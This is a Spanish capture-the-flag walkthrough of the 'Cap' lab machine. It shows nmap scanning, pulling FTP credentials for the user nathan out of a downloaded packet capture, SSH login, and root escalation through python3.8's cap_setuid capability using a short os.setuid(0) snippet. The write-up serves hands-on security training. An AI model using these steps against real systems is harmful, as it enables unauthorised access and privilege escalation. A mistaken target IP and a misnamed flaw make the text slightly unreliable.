Cap

✍️ Autor: infosecjack 🔍 Dificultad: Fácil 📅 Fecha de creación: 20/09/2021

🔍 RECONOCIMIENTO

En primer lugar, tras conectarnos a la máquina, utilizamos el comando:

ping -c 1 10.10.10.245

para verificar la conectividad de red.

A continuación, realizamos el comando:

nmap -sC -sV 10.10.10.245

para realizar un escaneo de puertos y servicios detallado en la dirección IP.

Como podemos observar durante el escaneo que el puerto 21 perteneciente al servicio FTP el puerto 22 perteneciente al servicio SSH y el puerto 80 perteneciente al servicio HTTP están abiertos por lo que a continuación se indagará más.

🔎 EXPLORACIÓN

Se utiliza el comando:

sudo nmap -sCV -p22,80 -v 10.10.11.11

para que nos proporcione más información sobre esos puertos específicamente. Entramos a la página web para ver que contiene.

🚀 EXPLOTACIÓN

Si modificamos y ponemos /data/0 cambian los números y si modificamos con otros números se aplica un Open Redirect.

Nos lo descargamos y vemos que son paquetes de Wireshark por lo que los analizamos.

tshark -r 0.pcap

Filtramos para ver mejor la información relevante de la captura.

tshark -r 0.pcap -Y "ftp" 2>/dev/null

Nos salen unas credenciales por lo que nos logueamos. Descargamos los archivos que contiene.

ftp nathan@10.10.10.245
get user.txt

Iniciamos sesión con el usuario nathan.

ssh nathan@10.10.10.245

🔐 PRIVILEGIOS

Al estar dentro y ejecutar:

whoami

aún no somos root, por lo que hacemos:

sudo -l

para ver si hay algo para explotar pero nos pide contraseña. Tampoco tenemos permisos SUID. Pensamos que si la máquina se llama Cap tiene algo que ver con capabilities por lo que miramos.

getcap -r / 2>/dev/null

Muestra que /usr/bin/python3.8 tiene las capacidades cap_setuid y cap_net_bind_service, lo cual no es el valor predeterminado. CAP_SETUID permite cambiar a UID 0 (root) sin necesidad del bit SUID.

Ejecutamos.

python3.8

import os
os.setuid(0)
os.system("/bin/bash")

Ya somos root.

Last updated

Was this helpful?